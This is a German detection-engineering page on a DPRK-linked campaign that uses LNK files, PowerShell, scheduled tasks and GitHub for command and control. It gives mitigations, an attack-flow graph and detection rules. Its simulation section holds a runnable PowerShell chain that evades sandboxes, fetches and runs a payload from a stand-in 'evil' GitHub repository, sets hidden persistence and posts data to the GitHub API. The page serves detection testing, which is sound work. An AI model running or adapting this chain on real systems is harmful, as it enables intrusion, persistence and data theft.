DPRK-bezogene Kampagnen mit LNK und GitHub C2
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
FortiGuard Labs berichtet über eine Kampagne mit Verbindung zur DVRK, die LNK-Verknüpfungsdateien verwendet, um kodierte PowerShell-Stufen zu starten, Persistenz durch geplante Aufgaben herzustellen und Daten über GitHub zu exfiltrieren. Die LNK-Kommandozeile beinhaltet Dekodierungslogik, wodurch die Betreiber auf integrierte Windows-Dienstprogramme vertrauen und auffällige Malware-Artefakte reduzieren können. Die Aktivität zielt auf Organisationen in Südkorea ab und folgt einem mehrstufigen Workflow. Durch die Nutzung legitimer öffentlicher Infrastruktur wie GitHub fügt sich die Kampagne in normalen Entwicklerverkehr ein und erschwert netzwerkbasierte Blockierungen.
Untersuchung
Analysten dokumentierten eine Kette aus drei Stufen: (1) LNK-Dateien, die kodiertes PowerShell in ihren Argumenten tragen, (2) eine PowerShell-Stufe, die Anti-Analyse-Checks durchführt, ein VBScript ablegt, eine verborgene geplante Aufgabe erstellt und Host-/Systemdetails sammelt, und (3) eine letzte Stufe, die wiederholt zusätzliche Module aus einem GitHub-Repository abruft. Mehrere GitHub-Konten wurden beobachtet, die den C2-Workflow unterstützen, einschließlich hartcodierter Zugangstokens, die zur Datenhochladung über die GitHub-API verwendet werden. Die Betreiber nutzten auch Lockvogel-PDF-Dokumente, um den Köder glaubwürdiger wirken zu lassen und das Misstrauen der Benutzer zu verringern.
Abwehrmaßnahmen
Blockieren oder Einschränken der Ausführung von LNK-Dateien aus nicht vertrauenswürdigen Quellen (E-Mail-Downloads, temporäre Ordner, Benutzerprofil-Downloadpfade). Überwachen Sie verdächtige PowerShell- und VBScript-Ausführungsmuster, insbesondere wenn diese von der Erstellung ungewöhnlicher geplanter Aufgaben gefolgt werden. Wo möglich, begrenzen oder proxyen Sie den ausgehenden Zugang zu GitHub-API-Endpunkten für Systeme ohne geschäftlichen Bedarf und alarmieren Sie bei atypischer GitHub-API-Nutzung durch Nicht-Entwickler-Hosts. Stärken Sie die Anwendungssteuerung und EDR-Erkennungen, um den Missbrauch nativer Windows-Tools für Inbetriebnahme, Dekodierung und Persistenz zu kennzeichnen.
Reaktion
Bei Erkennung den Endpunkt isolieren und Beweise sichern, indem die LNK-Datei, die Definition der geplanten Aufgabe und alle abgelegten Skripte gesammelt werden. Entfernen Sie die geplante Aufgabe, widerrufen Sie alle offengelegten GitHub-Zugangstokens und führen Sie eine vollständige Hosts-Durchsuchung nach verwandten Artefakten und Folge-Modulen durch. Benachrichtigen Sie relevante Beteiligte und aktualisieren Sie dann die Erkennungsinhalte, um die beobachteten Verhaltensweisen und IOCs abzudecken, um eine breitere Umgebungssuche zu unterstützen.
"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Knoten action_initial_access["<b>Aktion</b> – <b>T1566.001 Phishing: Spearphishing-Anhang</b><br/>Zustellung einer schädlichen .lnk, getarnt als koreanisches PDF"] class action_initial_access action tool_lnk["<b>Tool</b> – <b>Name</b>: .lnk Shortcut<br/><b>Technik</b>: T1547.009 Verknüpfungsänderung"] class tool_lnk tool action_execution_lnk["<b>Aktion</b> – <b>T1547.009 Boot- oder Logon-Autostart-Ausführung: Verknüpfungsänderung</b><br/>Verknüpfung löst PowerShell aus"] class action_execution_lnk action tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Technik</b>: T1059.001 Kommando- und Skript-Interpreter"] class tool_powershell tool action_obfuscation["<b>Aktion</b> – <b>Verschleierungstechniken</b><br/>T1027.012 Icon-Schmuggel, T1027.008 Entkleidete Payloads, T1027.009 Eingebettete Payloads"] class action_obfuscation action action_sandbox_evasion["<b>Aktion</b> – <b>T1497.002 Virtualisierungs-/Sandbox-Evasion</b><br/>Überprüfen auf Analysetools und Abbruch"] class action_sandbox_evasion action action_decode_payload["<b>Aktion</b> – <b>T1059.001 PowerShell</b><br/>Dekodiert Base64/XOR, schreibt VBScript nach %Temp%"] class action_decode_payload action tool_vbscript["<b>Tool</b> – <b>Name</b>: VBScript<br/>Schreibt Skript nach %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Tool</b> – <b>Name</b>: Geplante Aufgabe<br/><b>Technik</b>: T1037 Boot- oder Logon-Initialisierungsskripte"] class tool_scheduled_task tool action_persistence["<b>Aktion</b> – <b>Persistenz</b><br/>Läuft VBScript alle 30 Minuten aus"] class action_persistence action action_discovery["<b>Aktion</b> – <b>Entdeckung</b><br/>T1082 System Information Discovery, T1057 Prozess Entdeckung"] class action_discovery action action_c2["<b>Aktion</b> – <b>Kommand- und Kontrollzentrum</b><br/>T1567.001 Exfiltration zu GitHub, T1102.002 Bidirektionaler Webdienst, T1538 Cloud-Dashboard</b>"] class action_c2 action tool_github["<b>Tool</b> – <b>Name</b>: GitHub-API<br/>Verwendet für Exfiltration und Modulabruf"] class tool_github tool %% Verbindungen action_initial_access –>|liefert| tool_lnk tool_lnk –>|löst aus| action_execution_lnk action_execution_lnk –>|verwendet| tool_powershell tool_powershell –>|führt aus| action_obfuscation action_obfuscation –>|führt zu| action_sandbox_evasion action_sandbox_evasion –>|fährt fort mit| action_decode_payload action_decode_payload –>|schreibt| tool_vbscript tool_vbscript –>|erstellt| tool_scheduled_task tool_scheduled_task –>|ermöglicht| action_persistence action_persistence –>|sammelt Daten für| action_discovery action_discovery –>|sendet Daten an| action_c2 action_c2 –>|verwendet| tool_github "
Angriffsablauf
Erkennungen
Mögliche PowerShell-Verschleierungsindikatoren (via powershell)
Ansehen
Mögliches Herunterladen von GitHub-Dateien durch ungewöhnliche Prozesse eingeleitet (via network_connection)
Ansehen
Verdächtige PowerShell-Strings (via powershell)
Ansehen
Download oder Upload über Powershell (via cmdline)
Ansehen
Die Möglichkeit der Ausführung durch versteckte PowerShell-Kommandozeilen (via cmdline)
Ansehen
Mögliche bösartige LNK-Datei mit doppelter Erweiterung (via cmdline)
Ansehen
Mögliche Umgehungschecks (via powershell)
Ansehen
Verdächtige PowerShell-Strings (via cmdline)
Ansehen
Mögliche Erstellung geplanter Aufgaben (via powershell)
Ansehen
IOCs (HashSha256) zur Erkennung: DVRK-bezogene Kampagnen mit LNK und GitHub C2
Ansehen
PowerShell-Skriptabruf von GitHub für Persistenz und Datenexfiltration [Windows PowerShell]
Ansehen
Simulation-Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorflugkontrolle muss bestanden sein.
Grund: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
Der Gegner hat ein Konto eines Windows-Arbeitsplatzes mit niedrigen Benutzerrechten kompromittiert. Um die Persistenz aufrechtzuerhalten und Daten unauffällig zu exfiltrieren, erstellen sie einen einzigen PowerShell-Einzeiler, der:- Prüft auf gängige Analyse-Tool-Prozesse (
vmxnet,vboxservice,idaq,fiddler,wireshark). Wenn einer vorhanden ist, bricht das Skript ab. - Lädt eine Base64-kodierte Nutzlast aus einem öffentlichen GitHub-Repository herunter (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - Dekodiert die Nutzlast im Speicher und führt sie aus.
- Registriert eine geplante Aufgabe über
New‑ScheduledTaskActionum denselben PowerShell-Befehl bei jedem Neustart erneut auszuführen (Persistenz). - Sendet gestohlene Daten zurück an das GitHub-Repository des Angreifers mit der GitHub-API (
api.github.com).
Alle Schritte werden mit Semikolons verkettet, wodurch sichergestellt wird, dass die gesamte Kommandozeile die erforderlichen Zeichenfolgen für die Sigma-Regel enthält.
- Prüft auf gängige Analyse-Tool-Prozesse (
-
Regressionstest-Skript:
# ------------------------------------------------- # Einzeiler, der jede Sigma-Bedingung erfüllt # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # Probeerdaten exfiltrieren $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}Hinweis: Ersetzen
<INSERT SAME ONE‑Liner HERE>durch denselben Einzeiler (rekursiv) oder speichern Sie ihn in einer Variablen, um Duplikate zu vermeiden. Das Skript ist absichtlich ausführlich, um jeden Schritt zu erläutern; in einer echten Kampagne würde der Gegner es weiter verdichten. -
Bereinigungskommandos:
# Geplante Aufgabe entfernen Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # Entfernen Sie alle temporären Dateien (falls welche geschrieben wurden) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # Optional das bösartige im Speicher laufende Prozess beenden (falls noch am Laufen) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force